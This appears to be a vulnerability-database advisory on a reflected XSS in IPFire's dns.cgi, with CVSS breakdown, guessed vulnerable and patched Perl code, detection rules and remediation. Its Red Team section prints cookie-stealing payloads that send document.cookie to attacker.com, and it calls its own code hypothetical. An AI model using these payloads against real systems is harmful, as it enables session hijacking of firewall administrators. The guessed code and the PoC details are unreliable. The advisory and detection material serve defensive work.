CVE-2025-50976
Executive Summary
CVE-2025-50976 is a reflected cross-site scripting (XSS) vulnerability discovered in the IPFire 2.29 DNS management interface (dns.cgi). The application fails to properly sanitize user-supplied input in the NAMESERVER, REMARK, and TLS_HOSTNAME query parameters, allowing an attacker to inject arbitrary JavaScript code. This vulnerability can be exploited by sending a crafted link to a logged-in IPFire administrator, leading to session hijacking, credential theft, or unauthorized configuration changes. The CVSS score is 0.0 due to incomplete scoring data, but based on the vector, the severity is Medium (5.4). No official patch is available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a web application vulnerability in the IPFire firewall's CGI interface.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium (5.4) – Exploitation requires user interaction but can lead to significant impact within the IPFire web interface.
Deep Dive & Mechanics
The vulnerability resides in the dns.cgi script, which handles DNS configuration. The script takes user input from the NAMESERVER, REMARK, and TLS_HOSTNAME query parameters and reflects it directly into the HTML response without proper encoding or sanitization. An attacker can craft a URL like:
https://target-ipfire/cgi-bin/dns.cgi?NAMESERVER=<script>alert('XSS')</script>
When a logged-in administrator clicks this link, the browser executes the injected script in the context of the IPFire web interface. This allows the attacker to:
- Steal session cookies.
- Perform actions on behalf of the administrator (e.g., modify firewall rules).
- Redirect to malicious sites.
- Capture keystrokes or form data.
The vulnerability is reflected, meaning the payload is not stored on the server but is immediately executed from the URL.
Vulnerable vs. Patched Code
Vulnerable Code (IPFire 2.29):
The dns.cgi script likely uses a function like param() to retrieve query parameters and directly prints them without sanitization.
my $nameserver = param('NAMESERVER');
print "<input type='text' name='nameserver' value='$nameserver'>";
Patched Code (Hypothetical): The patched version would use HTML entity encoding to neutralize the input.
use CGI qw(escapeHTML);
my $nameserver = param('NAMESERVER');
my $safe_nameserver = escapeHTML($nameserver);
print "<input type='text' name='nameserver' value='$safe_nameserver'>";
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target IPFire instance (version 2.29) with the web interface accessible.
- A victim logged into the IPFire web interface.
Exploitation Steps:
- Craft a malicious URL:
https://target-ipfire/cgi-bin/dns.cgi?NAMESERVER=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send the link to the victim via email, social engineering, or other means.
- When the victim clicks the link, the script executes and sends the session cookie to the attacker's server.
- The attacker can then use the stolen cookie to hijack the session.
Proof-of-Concept (PoC) Code:
<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var img = new Image();
img.src = "https://target-ipfire/cgi-bin/dns.cgi?NAMESERVER=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>";
</script>
</body>
</html>
Blue Team (Defensive)
Detection:
- Monitor web server logs for suspicious query parameters containing
<script>tags or JavaScript event handlers. - Use a Web Application Firewall (WAF) to block requests with malicious patterns.
Mitigation:
- Apply input validation and output encoding to all user-supplied data in
dns.cgi. - Implement Content Security Policy (CSP) headers to restrict script execution.
- Educate administrators about phishing attacks targeting the IPFire interface.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/cgi-bin/dns.cgiwith parameters containing<script>,onerror,onload, or similar XSS payloads. - Outbound connections from the IPFire server to unknown IP addresses (e.g., attacker's server) on common ports (80, 443).
- HTTP requests to
Host IOCs:
- Unusual entries in the IPFire web server logs (e.g.,
/var/log/httpd/access_log) with long query strings. - Modified DNS configuration files (e.g.,
/etc/resolv.conf) if the attacker leveraged the XSS to change settings.
- Unusual entries in the IPFire web server logs (e.g.,
File IOCs:
- Temporary files in
/tmp/created by the CGI script with unexpected content.
- Temporary files in
Detection Engineering
YARA Rule
rule CVE_2025_50976_XSS_IPFire {
meta:
description = "Detects XSS attempts against IPFire dns.cgi"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-50976"
strings:
$xss_pattern1 = /NAMESERVER=.*<script/i
$xss_pattern2 = /REMARK=.*<script/i
$xss_pattern3 = /TLS_HOSTNAME=.*<script/i
$xss_pattern4 = /NAMESERVER=.*onerror/i
$xss_pattern5 = /REMARK=.*onload/i
condition:
any of them
}
Sigma Rule
title: IPFire dns.cgi Reflected XSS Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against IPFire dns.cgi
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-50976
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'NAMESERVER=<script'
- 'REMARK=<script'
- 'TLS_HOSTNAME=<script'
- 'NAMESERVER=onerror'
- 'REMARK=onload'
condition: selection
falsepositives:
- Legitimate use of script tags in DNS names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-50976 IPFire dns.cgi Reflected XSS Attempt"; flow:to_server,established; content:"/cgi-bin/dns.cgi"; http_uri; content:"NAMESERVER="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-50976 IPFire dns.cgi Reflected XSS Attempt"; flow:to_server,established; content:"/cgi-bin/dns.cgi"; http_uri; content:"REMARK="; http_uri; content:"<script"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-50976 IPFire dns.cgi Reflected XSS Attempt"; flow:to_server,established; content:"/cgi-bin/dns.cgi"; http_uri; content:"TLS_HOSTNAME="; http_uri; content:"<script"; http_uri; nocase; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Manual Code Fix: Edit
/srv/web/ipfire/cgi-bin/dns.cgiand add HTML entity encoding for all user-supplied parameters. For example, in Perl:use CGI qw(escapeHTML); my $nameserver = escapeHTML(param('NAMESERVER')); - WAF Rule: Deploy a WAF rule to block requests containing
<script>in theNAMESERVER,REMARK, orTLS_HOSTNAMEparameters. - CSP Header: Add a Content Security Policy header to the IPFire web server configuration:
Content-Security-Policy: default-src 'self'; script-src 'self';
Long-Term Actions:
- Monitor the IPFire project for an official patch.
- Implement a secure coding standard that includes input validation and output encoding.
- Conduct regular security audits of the web interface.
Workaround:
- Restrict access to the IPFire web interface to trusted IP addresses only.
- Use a reverse proxy with WAF capabilities in front of the IPFire server.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.